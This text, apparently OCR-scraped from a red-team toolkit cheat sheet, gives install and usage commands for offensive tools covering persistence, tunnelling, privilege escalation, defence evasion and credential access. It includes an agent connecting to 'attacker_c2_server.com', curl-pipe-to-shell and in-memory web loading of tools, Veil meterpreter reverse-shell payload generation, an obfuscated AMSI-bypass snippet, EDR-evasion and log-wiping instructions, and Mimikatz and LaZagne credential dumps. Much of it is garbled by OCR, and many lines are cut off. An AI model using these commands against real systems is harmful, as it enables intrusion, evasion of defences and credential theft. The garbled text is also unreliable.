267 modules currently loaded
0 listeners currently active

0@ agents currently active

(Empire) > listeners

(Empire: listeners) > info

“SharPersist

A Windows persistence toolkit written in C#.
The project has a wiki.

Install: (Binary)

You can find the most recent release here.

Install: (Compile)



e Download the project files from the GitHub Repo.

e |oad the Visual Studio project up and go to "Tools" --> "NuGet Package Manager" -->
"Package Manager Settings"

¢ Go to "NuGet Package Manager" --> "Package Sources"
e Add a package source with the URL "https://tinyurl.com/prdx27k"

¢ Install the Costura.Fody NuGet package. The older version of Costura.Fody (3.3.3) is
needed, so that you do not need Visual Studio 2019.
o Install-Package Costura.Fody -Version 3.3.3

¢ |nstall the TaskScheduler package
o Install-Package TaskScheduler -Version 2.8.11

You can now build the project yourself!
Usage:

A full list of usage examples can be found here.

#KeePass
SharPersist -t keepass —-c "C:\Windows\System32\cmd.exe" —-a "/c calc.exe" —-f "C:\U

#Registry
SharPersist -t reg —-c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun"

#Scheduled Task Backdoor
SharPersist -t schtaskbackdoor —-c "C:\Windows\System32\cmd.exe'" —-a "/c calc.exe"

#Startup Folder
SharPersist -t startupfolder —-c "C:\Windows\System32\cmd.exe" —-a "/c calc.exe" -

beacon> execute-assembly /root/Toolkit/SharPersist.exe -t reg -m remove -k hkcurun -v "Test"
Tasked beacon to run .NET program: SharPersist.exe -t reg -m remove -k hkcurun -v "Test"

[+] host called home, sent: 336501 bytes

[+] received output

[*] INFO: Removing registry persistence

[*] INFO: Registry Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
[o

[.

] INFO: Registry Value: Test
] INFO: Option:

[+] SUCCESS: Registry persistence removed

beacon> execute-assembly /root/Toolkit/SharPersist.exe -t reg -m list -k hkcurun
Tasked beacon to run .NET program: SharPersist.exe -t reg -m list -k hkcurun

[+] host called home, sent: 336477 bytes

[+] received output

[*] INFO: Listing all registry values in: HKCU\Software\Microsoft\Windows\CurrentVersion\Run




*ligolo-ng

Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a
reverse TCP/TLS connection using a tun interface (without the need of SOCKS).

Instead of using a SOCKS proxy or TCP/UDP forwarders, Ligolo-ng creates a userland network
stack using Gvisor.

When running the relay/proxy server, a tun interface is used, packets sent to this interface are
translated, and then transmitted to the agent remote network.

Install: (Download)
Precompiled binaries (Windows/Linux/macQOS) are available on the Release page.
Install: (Build)

Building ligolo-ng (Go >= 1.17 is required):

go build -o agent cmd/agent/main.go
go build -o proxy cmd/proxy/main.go

G00S=windows go build -o agent.exe cmd/agent/main.go
G00S=windows go build -o proxy.exe cmd/proxy/main.go

Setup: (Linux)

sudo ip tuntap add user [your_username] mode tun ligolo
sudo ip link set ligolo up

Setup: (Windows)

You need to download the Wintun driver (used by WireGuard) and place the wintun.d1l inthe
same folder as Ligolo (make sure you use the right architecture).

Setup: (Proxy server)

./proxy -h
./proxy —autocert

Usage:



Start the agent on your target (victim) computer (no privileges are required!):

./agent —-connect attacker_c2_server.com:11601

A session should appear on the proxy server.

INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"

Use the session command to select the agent.

ligolo-ng » session
? Specify a session : 1 - nchatelain@nworkstation — XX.XX.XX.XX:38000

Full usage information can be found here.

[root@scw-cranky-rhodes ~]# ./proxy -autocert
[0000] Listening on 0.0.0.0:11601

A/ / S/ SN\ V/ A [

i) i
/ — /AN SN/ |\ S S |\ S— ) (=l eery /]
/A Jumn

Made in France ¥ by Cha! - TNP IT Security <tnpitsecurity.com>

ligolo-ng » [0022] Agent joined. =jdoe@core =XX . XX XX XX
ligolo-ng »

ligolo-ng » session

? specify a session :

> 1 - jdoe@core - XX.XX.XX.XX

Image used from https://tinyurl.com/25rtqzlc#demo

Privilege Escalation

= LinPEAS
LinPEAS is a nice verbose privilege escalation for finding local privesc routes on Linux endpoints.

Install + Usage:

curl -L "https://tinyurl.com/ybgp83f8" | sh



Services Information
[+] Interesting Services -non Microsoft-( )
[?] https://book.
AmazonSSMAgent(Amazon SSM Agent)["C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe"] - Auto - Running
Amazon SSM Agent
Apache2.4(Apache Software Foundation - Apache2.4)[ ] - Auto - Running
Apache/2.4.43 (Win6&)

AwSLiteAgent(Amazon Inc. - AWS Lite Guest Agent)["C:\Program Files\Amazon\XenTools\LiteAgent.exe"] - Auto - Running
AWS Lite Guest Agent

cfn-hup(CloudFormation cfn-hup)["C:\Program Files\Amazon\cfn-bootstrap\winhup.exe"] - Manual - Stopped
CloudFormation cfn-hup for Windows

cold(cold)[ ] - Manual - Stopped - isDotNet -

< WInPEAS

WINPEAS is a nice verbose privilege escalation for finding local privesc routes on Windows
endpoints.

Install + Usage:

$wp=[System.Reflection.Assembly]::Load( [byte[]](Invoke-WebRequest "https://tinyur

Searching known files that can contain creds in home
https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#icredentials

:\Users\jason\AppData\Local\Packages\Microsoft.SkypeApp_kzf8qxf38zg5c\LocalState\dtl
:\Users\jason\AppData\Local\Packages\Microsoft.SkypeApp_kzf8qxf38zg5c\LocalState\dtl
:\Users\jason\NTUSER.DAT

Looking for documents limit 100
C:\Users\jason\Downloads\PortableKanban\User Guide.pdf
:\Users\jason\Documents\UAT_Testing_Procedures.pdf

Office Most Recent Files limit 50

Recent files --limit 70--

Looking inside the Recycle Bin for creds files
https://book.hacktricks.xyz/windows/windows-local-privilege-escalationficredentials

[+] Searching hidden files or folders in C:\Users home (can be slow)

Searching interesting files in other users home directories (can be slow)

Checking folder: c:\users\administrator

* linux-smart-enumeration

Linux smart enumeration is another good, less verbose, linux privesc tool for Linux.




Install + Usage:

curl "https://tinyurl.com/yé6qwkfca/releases/latest/download/lse.sh" -Lo lse.sh;ch

x86_64

Current user groups

Is current user in an administrative group?

Are there other users in an administrative groups?
Other users with shell

Environment information

Groups for other users

Other users

Can we sudo without a password?
Can we list sudo commands without a password?
Can we sudo with a password?

uid=0@(root) gid=0@(root) groups=0(root)

Can we read /etc/sudoers?
Do we know if any other users used sudo?

Writable files outside user's home

= Certify

Certify is a C# tool to enumerate and abuse misconfigurations in Active Directory Certificate
Services (AD CS).

Certify is designed to be used in conjunction with other red team tools and techniques, such as
Mimikatz and PowerShell, to enable red teamers to perform various types of attacks, including
man-in-the-middle attacks, impersonation attacks, and privilege escalation attacks.

Key features of Certify:

e Certificate creation
e Certificate signing
e Certificate import

e Certificate trust modification
Install: (Compile)

Certify is compatible with Visual Studio 2019 Community Edition. Open the Certify project .sin,
choose "Release", and build.

Install: (Running Certify Through PowerShell)

If you want to run Certify in-memory through a PowerShell wrapper, first compile the Certify and



base64-encode the resulting assembly:

[Convert]::ToBase64String([I0.File]::ReadAl1Bytes("C:\Temp\Certify.exe")) | Out-F

Certify can then be loaded in a PowerShell script with the following (where "aa..." is replaced
with the base64-encoded Certify assembly string):

$CertifyAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String

The Main() method and any arguments can then be invoked as follows:

[Certify.Program]::Main("find /vulnerable".Split())

Full compile instructions can be found here.

Usage:

Certify.exe find /vulnerable

Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:VulnTemplate /

Full example walkthrough can be found here.

*= Get-GPPPassword



Get-GPPPassword is a PowerShell script part of the PowerSploit toolkit, it is designed to retrieve
passwords for local accounts that are created and managed using Group Policy Preferences
(GPP).

Get-GPPPassword works by searching the SYSVOL folder on the domain controller for any GPP
files that contain password information. Once it finds these files, it decrypts the password
information and displays it to the user.

Install:

Follow the PowerSploit installation instructions from this tool sheet.

powershell.exe —ep bypass
Import-Module PowerSploit

Usage:

Get-GPPPassword

Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq

& Sherlock

PowerShell script to quickly find missing software patches for local privilege escalation
vulnerabilities.

Supports:



e MS10-015 : User Mode to Ring (KiTrapOD)

e MS10-092 : Task Scheduler

e MS13-053 : NTUserMessageCall Win32k Kernel Pool Overflow
e MS13-081: TrackPopupMenuEx Win32k NULL Page

e MS14-058 : TrackPopupMenu Win32k Null Pointer Dereference
e MS15-051: ClientCopylmage Win32k

e MS15-078 : Font Driver Buffer Overflow

e MS16-016 : 'mrxdav.sys' WebDAV

e MS16-032 : Secondary Logon Handle

e MS16-034 : Windows Kernel-Mode Drivers EoP

e MS16-135 : Win32k Elevation of Privilege

e CVE-2017-7199 : Nessus Agent 6.6.2 - 6.10.3 Priv Esc

Install: (PowerShell)

git clone https://tinyurl.com/mudtwgy

Import-Module -Name C:\INSTALL_LOCATION\Sherlock\Sherlock.psl

Usage: (PowerShell)

Find-A1lVulns

Find-MS14058



s\Vryd4n> Set-Exec y bypass CurrentUser

Execution Policy Change
The executio olicy helps protect yo rom scr S yO o rust. Changing the execution policy
O.1 F F } vant to change the execution policy?

L ault 1s “N"): vy
- rlock.psl
-AlTvulns

~ Mode to Ring (KiTrapOD)
w.exploit-db. com/exploits/11199
orted on 64-bat systems
. XML

3888

ovt-db. com/exploits /19930

o1t-db. com/exploits/33213
4-b1t systems

*Image used from https://tinyurl.com/26tdlynd

* Watson

Watson is a .NET tool designed to enumerate missing KBs and suggest exploits for Privilege
Escalation vulnerabilities.

Great for identifying missing patches and suggesting exploits that could be used to exploit
known vulnerabilities in order to gain higher privileges on the system.

Install:

Using Visual Studio 2019 Community Edition. Open the Watson project .sln, choose "Release"
and build.

Usage:

Watson.exe

I



Image text used from https://tinyurl.com/25vcv3qu#usage

sImpulsiveDLLHijack

A C# based tool that automates the process of discovering and exploiting DLL Hijacks in target
binaries.

The discovered Hijacked paths can be weaponized, during an engagement, to evade EDR's.
Install:

¢ Procmon.exe -> https://tinyurl.com/y5wgcrve

e Custom Confirmatory DLL's :
o These are DLL files which assist the tool to get the confirmation whether the DLL's are
been successfully loaded from the identified hijack path

o Compiled from the MalDLL project provided above (or use the precompiled binaries if
you trust me!)

o 32Bit dll name should be: maldll32.dll
o 64Bit dll name should be: maldllie4.dll

o [nstall NuGet Package:** PeNet** -> https://tinyurl.com/hraww6v (Prereq while
compiling the ImpulsiveDLLHijack project)

Note: i & ii prerequisites should be placed in the ImpulsiveDLLHijacks.exe's directory itself.
¢ Build and Setup Information:

o ImpulsiveDLLHijack



= Clone the repository in Visual Studio

= Once project is loaded in Visual Studio go to "Project" --> "Manage NuGet
packages" --> Browse for packages and install "PeNet" ->
https://tinyurl.com/hraww6v

= Build the project!

= The ImpulsiveDLLHijack.exe will be inside the bin directory.
o And for Confirmatory DLL's:

= Clone the repository in Visual Studio
= Build the project with x86 and x64

= Rename x86 release as maldll32.dll and x64 release as maldll64.dll

o Setup: Copy the Confirmatory DLL's (maldll32 & maldll64) in the
ImpulsiveDLLHijack.exe directory & then execute ImpulsiveDLLHijack.exe :))

Install instructions from https://tinyurl.com/29tejj3d#2-prerequisites

Usage:

ImpulsiveDLLHijack.exe -h

ImpulsiveDLLHijack.exe —path BINARY_PATH

Usage examples can be found here.



Image used from https://tinyurl.com/29tejj3d#4-examples

= ADFSDump
A C# tool to dump all sorts of goodies from AD FS.
Created by Doug Bienstock @doughsec while at Mandiant FireEye.

This tool is designed to be run in conjunction with ADFSpoof. ADFSdump will output all of the
information needed in order to generate security tokens using ADFSpoof.

Requirements:

e ADFSDump must be run under the user context of the AD FS service account. You can get
this information by running a process listing on the AD FS server or from the output of the
Get-ADFSProperties cmdlet. Only the AD FS service account has the permissions needed to
access the configuration database. Not even a DA can access this.

e ADFSDump assumes that the service is configured to use the Windows Internal Database
(WID). Although it would be trivial to support an external SQL server, this feature does not
exist right now.

e ADFSDump must be run locally on an AD FS server, NOT an AD FS web application proxy.
The WID can only be accessed locally via a named pipe.

Install: (Compile)

ADFSDump was built against .NET 4.5 with Visual Studio 2017 Community Edition. Simply open



up the project .sln, choose "Release", and build.

Usage: (Flags)

/domain:

/server:

/nokey

/database

Blog - Exploring the Golden SAML Attack Against ADFS

Image used from https://tinyurl.com/2ysgoqzp

* BeRoot

BeRoot Project is a post exploitation tool to check common misconfigurations to find a way to
escalate our privilege.

The goal of BeRoot is to only output potential privilege escalation opportunities and not a
endpoint configuration assessment.



This project works on Windows, Linux and Mac OS.

Install: (Linux)

git clone https://tinyurl.com/2c5ygz9d
cd BeRoot/Linux/

Install: (Windows)
A pre-compiled version of BeRoot can be found here.

Usage:

python beroot.py

python beroot.py ——password super_strong_password

Further information can be found here for:

e Linux

e Windows

Created by: Sagi Shahar

Image used from https://tinyurl.com/2c5ygz9d
Defense Evasion

* Invoke-Obfuscation



A PowerShell v2.0+ compatible PowerShell command and script obfuscator. If a victim endpoint
is able to execute PowerShell then this tool is great for creating heavily obfuscated scripts.

Install:

git clone https://tinyurl.com/lr4ekst.git

Usage:

./Invoke-0bfuscation

HELP MENU :: Available options shown below:

%

Tutorial of how to use this tool TUTORIAL

Show this Help Menu HELP,GET-HELP,?,-?,/?,MENU
Show options for payload to obfuscate SHOW OPTIONS,SHOW,OPTIONS
Clear screen CLEAR,CLEAR-HOST,CLS
Execute ObfuscatedCommand locally EXEC,EXECUTE, TEST,RUN
Copy ObfuscatedCommand to clipboard COPY,CLIP,CLIPBOARD

Write ObfuscatedCommand Out to disk ouT

Reset ALL obfuscation for ObfuscatedCommand RESET

Undo LAST obfuscation for ObfuscatedCommand UNDO

Go Back to previous obfuscation menu BACK,CD ..

Quit Invoke-Obfuscation QUIT,EXIT

Return to Home Menu HOME , MAIN

%

*

%

%

*x

*

¥

[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]

*

= Velil
Veil is a tool for generating metasploit payloads that bypass common anti-virus solutions.

It can be used to generate obfuscated shellcode, see the official veil framework blog for more
info.

Install: (Kali)

apt -y install veil
/usr/share/veil/config/setup.sh ——force —-silent

Install: (Git)

sudo apt-get -y install git
git clone https://tinyurl.com/ycheggz2.git



cd Veil/
./config/setup.sh ——force —-silent

Usage:

./Veil.py -t Ordnance —--list-payloads

./Veil.py -t Ordnance —--list-encoders

./Veil.py -t Ordnance —-ordnance-payload rev_tcp ——ip 192.168.1.20 —-port 1234

./Veil.py -t Evasion —-list-payloads

./Veil.py -t Evasion -p 41 —-msfvenom windows/meterpreter/reverse_tcp ——ip 192.16

Veil creators wrote a nice blog post explaining further ordnance and evasion command line
usage.

[*] Executable written to: /root/veil-output/compiled/payload2.exe

Language: python
Payload: python/shellcode inject/aes encrypt
Shellcode: windows/meterpreter/reverse tcp

Options: LHOST=172.16.199.,176 LPORT=4444

Required Options: compile to exe=Y inject _method=virtual
use_pyherion=N

Payload File: /root/veil -output/source/payload2.py

Handler File: /root/veil -output/handlers/payload2 handler.rc

[*] Your payload files have been generated, don't get caught!

[>] press any key to return to the main menu:

= SharpBlock



A method of bypassing EDR's active projection DLL's by preventing entry point execution.
Features:

¢ Blocks EDR DLL entry point execution, which prevents EDR hooks from being placed.

e Patchless AMSI bypass that is undetectable from scanners looking for Amsi.dll code
patches at runtime.

e Host process that is replaced with an implant PE that can be loaded from disk, HTTP or
named pipe (Cobalt Strike).

e |Implanted process is hidden to help evade scanners looking for hollowed processes.

e Command line args are spoofed and implanted after process creation using stealthy EDR
detection method.

e Patchless ETW bypass.

e Blocks NtProtectVirtualMemory invocation when callee is within the range of a blocked
DLL's address space.

Install:
Use Visual Studio 2019 Community Edition to compile the SharpBlock binary.
Open the SharpBlock project .sIn, choose "Release", and build.

Usage:

SharpBlock —e https://tinyurl.com/285ecc5z -s c:\windows\system32\notepad.exe -d

execute-assembly SharpBlock.exe —e \\.\pipe\mimi -s c:\windows\system32\notepad.e
upload_file /home/haxor/mimikatz.exe \\.\pipe\mimi

Nice PenTestPartners blog post here.



PS: 06/28/2020 17:85:15>.\S : C:\Windows\System32\WindowsPowerShell\v1l.0\powershell.exe

true
SharpBlock by @_EthicalChaos_
DLL Blocking app for child processes x86_64

[+] in-proc AMSI 6x146726670786560
[+] Launched process C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe with PID 5296
Hostname: CC-Laptop2019 / S-1-5-21-4266845323-3002547713-3866747220

JEERRE, mimikatz 2.2.0 (x64) #19641 May 20 2020 14:57:36
"A La Vie, A L'Amour" - (oe.eo0)
*** Benjamin DELPY “gentilkiwi’ ( benjamin@gentilkiwi.com )
> http://blog.gentilkiwi.com/mimikatz

Vincent LE TOUX ( vincent.letoux@gmail.com )
> http://pingcastle.com / http://mysmartlogon.com  *¥*/

mimikatz(powershell) # coffee

rocess C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe with PID 5296 exited wit code ©
8/2020 17:05:36>]

*Image used from https://tinyurl.com/24ghueur

= Alcatraz

Alcatraz is a GUI x64 binary obfuscator that is able to obfuscate various different pe files
including:

* .exe
e dll
® .sys

Some supported obfuscation features include:

e Obfuscation of immediate moves
e Control flow flattening

e ADD mutation

e Entry-point obfuscation

e |ea obfuscation
Install: (Requirements)

Install: https://tinyurl.com/y25gefmz

vcpkg.exe install asmjit:x64-windows
vcpkg.exe install zydis:x64-windows

Usage:



Using the GUI to obfuscate a binary:

1. Load a binary by clicking file in the top left corner.

2. Add functions by expanding the Functions tree. (You can search by putting in the name in
the searchbar at the top)

3. Hit compile (Note: Obfuscating lots of functions might take some seconds)

2 Alcatraz - [m} X

main Name : main

Protection v Added functions :s:re;; :!l)t(t)es
main
o RTaas Control flow flattening
Immediate MOV obfuscation
Mutate

LEA obfuscation

mainCRTStartup
scrt_common_main_seh
About - - -
*__scrt_common_main_seh'":"1":filtS
» Misc Anti disassembly
Add all

Compile

C:\Users\bsodcloud\Desktop\Projects\pe_obf\x64\Release\build.exe

Image used from https://tinyurl.com/2ytqh9ss

= Mangle
Mangle is a tool that manipulates aspects of compiled executables (.exe or DLL).

Mangle can remove known Indicators of Compromise (loC) based strings and replace them with
random characters, change the file by inflating the size to avoid EDRs, and can clone code-
signing certs from legitimate files.

In doing so, Mangle helps loaders evade on-disk and in-memory scanners.
Install:

The first step, as always, is to clone the repo. Before you compile Mangle, you'll need to install
the dependencies. To install them, run the following commands:



go get github.com/Binject/debug/pe
Then build it

git clone https://tinyurl.com/2594331m
cd Mangle
go build Mangle.go

Usage:

-C string
Path to the file containing the certificate you want to clone
-I string
Path to the orginal file
-M Edit the PE file to strip out Go indicators
-0 string
The new file name
=S int
How many MBs to increase the file by

Full usage information can be found here.

Before

00000660
DD00O0610 - il Ln aRARIL
00000620 miyb/4cFISEi_AiX
00000630 0216NpSvs/wn0GYa
00000640 UxrvdiHSYduVkT /S
00000650 bkPNobXkJI-tfr34
0000066D rvl” . wIIIIIIIIL
00000670 3533245338 4853%:
DDO0D0680 I.fowvBHQioH)1S0DH

00000600
00000610
00000620 | 6D 69 79 62 2F 34 63 46 49 53 45 69 S5F 41 69 58 miyb/4cFISE1_AiX
00000630 [ 6F 32 31 36 4E 70 35 76 73 2F 77 6D 30 47 59 61 0216NpSvs/wm0GYa
00000640 | 57 78 78 76 64 69 48 35 59 64 75 56 6B 54 2F 53 WxrvdiHSYduVkT /S
00000650 | 62 6B S50 4E 6F 62 S8 6B 44 49 2D 74 66 72 33 34 bkPNobXkJI-tfr34

Image used from https://tinyurl.com/259433Im



“xAMSI Fail

AMSI.fail is a great website that can be used to generate obfuscated PowerShell snippets that
break or disable AMSI for the current process.

The snippets are randomly selected from a small pool of techniques/variations before being
obfuscated. Every snippet is obfuscated at runtime/request so that no generated output share
the same signatures.

Nice f-secure blog explaining AMSI here.

#Matt Graebers second Reflection method -
$gAIBVon=$null;$mtzcub="%([cHAR]([BYTe]@x53)+[Char](61+6@)+[char](83+32)+[ChAr]([bYTe]8x74)+[chaR]([bYtE]@x65)+[Char]
([ByTE]@x6d)).$(('M&'+'na"+'ge'+'me'+'nt" ) .nOrmalize( [chAr](70+54-54)+[cHar]([ByTEJOx6F)+[CHAr] (114%71/71)+[cHar ] (87+22)+[Char ] ([bytE]09x44)) -replace [CHar]
([bytE]@x5c)+[CHar]([BYtE]@x7@)+[ChAr]([BYtE]@x7b)+[char](6+71)+[cHAR]([BYte]@x6e)+[chAr](125%62/62)).%([CHAr]([bYTE]Ox41)+[ChAR] (117)+[CHar](116%182/192)+
[cHaR]1(111%#53/53)+[cHar]([byTE]1@x6d)+[ChAR] ([bYte]@x61)+[cHAr]( [BYte]@x74)+[cHaR](105)+[ChAR] (111)+[cHaR]([BYte]dx6e)).8(('Amsil’'+ tils").nORMaLIzZE( [cHAr]
([bYte]@x46)+[CHar](111)+[ChAR] ([byTe]@x72)+[char](21+88)+[CHaR](68)) -replace [CHaR](92+73-73)+[CHaR]([bYte]@x78)+[Char]([bytE]@x7b)+[ChaR](77%17/17)+[CHar]
([ByTe]@x6e)+[CHar](125+188-108))"; $ufpaptmdbfnc="+[CHar](49+63)+[chAR]([bYte]dx6f)+[cHaR] ([BYte]@x65)+[CHaR](88+28)+[cHAR](185%91/91)+[cHAR]([Byte]ox7a)";
[Threading.Thread]::51leep(776); [Runtime.InteropServices.Marshal]:: ("$([cHaR]([byTE]Ox57 )+[CHAr] ([Byte]ox72)+[cHAR](185)+[Char](116%85/85)+[chaR]([ByTE]Ox65)+
[chAr]([BYTE]@x49)+[chAR]([BYTe]@x6e)+[ChAR](116)+[cHaR](15+36)+[chaR](5@))")([Ref].Assembly.GetType($mtzcub).GetField("$([chAr]([bYte]@x61)+[ChAR]([byte]ox6d)+ ¥
[Char]([Byte]8x73)+[ChaR](1@5)+[chAR]([bytE]ax43)+[ChAr](56+55)+[chAR](110+77-77)+[cHaR](69+47)+[chAr](74+27)+[cHAr]([bYTe]@x78)+[CHaR]([ByTe]@x74))", Y

Generate

Generate Encoded

Image used from https://tinyurl.com/2aovn369

& ScareCrow

ScareCrow is a payload creation framework for side loading (not injecting) into a legitimate
Windows process (bypassing Application Whitelisting controls).

Once the DLL loader is loaded into memory, it utilizes a technique to flush an EDR’s hook out of
the system DLLs running in the process's memory.

When executed, ScareCrow will copy the bytes of the system DLLs stored on disk in
C:\Windows\System32\ . These DLLs are stored on disk “clean” of EDR hooks because they are
used by the system to load an unaltered copy into a new process when it's spawned. Since
EDR's only hook these processes in memory, they remain unaltered.

Nice blogs for learning about techniques utilized by ScareCrow:

e Endpoint Detection and Response: How Hackers Have Evolved
e EDR and Blending In: How Attackers Avoid Getting Caught

Install:

ScareCrow requires golang 1.16.1 or later to compile loaders.



git clone https://tinyurl.com/y2467n9h
cd ScareCrow

go get github.com/fatih/color
go get github.com/yeka/zip
go get github.com/josephspurrier/goversioninfo

openssl
osslsigncode
mingw-w64

go build ScareCrow.go

Usage:

Usage of ./ScareCrow:
-I string
Path to the raw 64-bit shellcode.
—-Loader string
Sets the type of process that will sideload the malicious payload:
[x] binary - Generates a binary based payload. (This type does not benefi
[*] control - Loads a hidden control applet - the process name would be r
[*] d11 - Generates just a DLL file. Can be executed with commands such a
[x] excel - Loads into a hidden Excel process using a JScript loader.
[*] msiexec - Loads into MSIexec process using a JScript loader.
[*] wscript - Loads into WScript process using a JScript loader. (default
-0 string
Name of output file (e.g. loader.js or loader.hta). If Loader is set to d
—-configfile string
The path to a json based configuration file to generate custom file attri
—console
Only for Binary Payloads - Generates verbose console information when the

Full usage information can be found here.



[DEBUG] [+]
[DEBUG] [+]
[DEBUG] [+]
[DEBUG] [+]
[DEBUG] [+]
[DEBUG] [*]

Detected Version: 10.0
Reloading: C:\Window
Reloading: C:\Wi
Reloading: C:\Windows

EDR removed

Create a Pointer on stack

m32\kernel32.d1ll
m32\kernelbase.dll
m32\ntdll.dll

1% Process Hacker [DESKTOP-RESEARC\Admin]
Hacker View Tools Users Help
-’f; Refresh #8 Find handles or DLLs %% System information

Processes Services Network Disk

. Options

lOnedr{

0@ X

PID
2620
13652

Name CPU I/Ototal.. Privateb.. Username Description

12,0708 DESKTOD BESEARC Ade  Aiccocofs OpcDe X
41533 MB  DESKTOP-RESEARC\Adn Microsoft OneDrive

(af

Drbvgraie
[#Z] OneDrive.exe

20.20

Image used from https://tinyurl.com/y2467n9h

= moonwalk

moonwalk is a 400 KB single-binary executable that can clear your traces while penetration
testing a Unix machine.

It saves the state of system logs pre-exploitation and reverts that state including the filesystem
timestamps post-exploitation leaving zero traces of a ghost in the shell.

Install:
curl -L https://tinyurl.com/250yqsyl/releases/download/v1.0.0/moonwalk_linux -0 m

Usage:

curl -L https://tinyurl.com/250yqsyl/releases/download/v1.0.0/moonwalk_linux -0 m
chmod +x moonwalk
moonwalk start

moonwalk finish



moonwalk on '(' main [!] is @ v1.0.80 via g vi
A moonwalk

Usage

Start moonwalk:
$ moonwalk start

Finish moonwalk and clear your traces:
$ moonwalk finish

Get the current timestamp of a file to restore it later:

$ moonwalk get <FILENAME>

Image used from https://tinyurl.com/250yqsyl

Credential Access

= Mimikatz

Great tool for gaining access to hashed and cleartext passwords on a victims endpoint. Once
you have gained privileged access to a system, drop this tool to collect some creds.

Install:

1. Download the mimikatz_trunk.7z file.

2. Once downloaded, the mimikatz.exe binary isinthe x64 folder.

Usage:

.\mimikatz.exe
privilege: :debug



CHEEEE mimikatz 2.2.0 (x64) #18362 Aug 14 2019 01:31:47
JAH#E N ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY “gentilkiwi®™ ( benjamin@gentilkiwi.com )
#H \ / ## > http://blog.gentilkiwi.com/mimikatz
"#it v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
"R > http://pingcastle.com / http://mysmartlogon.com XXX S

mimikatz # sekurlsa::logonpasswords

Authentication Id : © ; 176409 (00000000:0002b119)
Session : Interactive from 1
User Name : sphil
Domain : SPHIL2AB1
Logon Server : SPHIL2AB1
Logon Time : 11/4/2019 2:45:19 PM
SID : S-1-5-21-3123691167-3462951650-3668972122-1000
msv
[00000003] Primary
* Username : sphil
* Domain : SPHIL2AB1
¥ NTLM : d3b4230029c4a0998231d08451c14194
* SHA1 : 6d99a0126dd45d142192d81d8bac7ebded458af9
tspkg :
wdigest
* Username : sphil
* Domain : SPHIL2AB1

LaZagne

Nice tool for extracting locally stored passwords from browsers, databases, games, mail, git,
wifi, etc.

Install: (Binary)
You can install the standalone binary from here.

Usage:

.\laZagne.exe all
.\laZagne.exe browsers

.\laZagne.exe browsers —-firefox



The LaZagne Project
* BANG BANG *

sername: zapatalyahoo.com

assword: Zapata_VUive!?
Bite: https://wuww.facebook.com/

Firefox passwords

Website: https://accounts.google.com
sername: zapatalgmail.com
ssword: LaLuchaSigue!?

site: https://uwuwu.facebook.com
sername: che.guevaralgmail.com
assword: hasta_siempre?

[+] 3 passwords have been found.
For more information launch it again with the -v option

elapsed time = 0.120000123978

* hashcat

Tool for cracking password hashes. Supports a large list of hashing algorithms (Full list can be
found here).

Install: Binary
You can install the standalone binary from here.

Usage:
.\hashcat.exe —-help

Nice hashcat command cheatsheet.



Dictionary cache hit:
* Filename..: .\wordlists\rockyou.txt
* Passwords.: 14344385
139921562
* Keyspace..: 14344385

hashcat
Cracked
Hash.Name : HMAC-SHAl (key $salt)
Hash.Target : e5d8870e5bdd26602cab8dbe®7a942c8669e56d6: tryhackme
Time.Started : Tue Feb 23 00:53:46 2021 (1 sec)
Time.Estimated...: Tue Feb 23 00:53:47 2021 (0 secs)
Guess.Base : File (.\wordlists\rockyou.txt)
Guess.Queue : 1/1 (106.00%)
Speed.#1 : 20233.6 kH/s (7.21ms) @ Accel:1024 Loops:1 Thr:64 Vec:1
Recovered : 1/1 (106.00%) Digests
Progress : 14344385/14344385 (100.00%)
Rejected : ©/14344385 (0.00%)
Restore.Point : 12058624/14344385 (84.07%)
Restore.Sub.#1...: Salt:® Amplifier:0-1 Iteration:0-1
Candidates.#1 : $HEX[36323u32353138] -> $HEX[6U2a0337c2al56616d6f732163]
Hardware.Mon.#1..: Temp: 57c Fan: 38% Util: 15% Core:1956MHz Mem:7006MHz Bus:16

John the Ripper

Another password cracker, which supports hundreds of hash and cipher types, and runs on
many operating systems, CPUs and GPUs.

Install:
sudo apt—-get install john -y
Usage:

john



:~# john —format=raw-MD5 /root/Desktop/MD5hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status

Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist

Proceeding with incremental:ASCII

pass123 (?)

1g 0:00:00:09 DONE 3/3 (2020-05-03 19:37) 0.1057g/s 579306p/s 579306¢c/s 579306C/s pass
€08 .. pashol3

Use the "—show ——format=Raw-MD5" options to display all of the cracked passwords reli
ably

Session completed

= |

= SCOMDecrypt

This tool is designed to retrieve and decrypt RunAs credentials stored within Microsoft System
Center Operations Manager (SCOM) databases.

NCC blog post - 'SCOMplicated? — Decrypting SCOM “RunAs" credentials'
Pre-requisites:

To run the tool you will require administrative privileges on the SCOM server. You will also need
to ensure that you have read access to the following registry key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\MOMBins

You can check manually that you can see the database by gathering the connection details from
the following keys:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\Database\Database
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\Database\Database

Install: (PS1)

git clone https://tinyurl.com/2y9p5xs6
cd .\ \ \
A\ —-SCOMDecrypt.psl

Install: (Compile)



Using Visual Studio 2019 Community Edition you can compile the SCOMDecrypt binary.
Open the SCOMDecrypt project .sIn, choose "Release", and build.

Usage:

Invoke-SCOMDecrypt

.\SCOMDecrypt.exe

Image text used from https://tinyurl.com/2y9p5xs6

= nanodump

The LSASS (Local Security Authority Subsystem Service) is a system process in the Windows
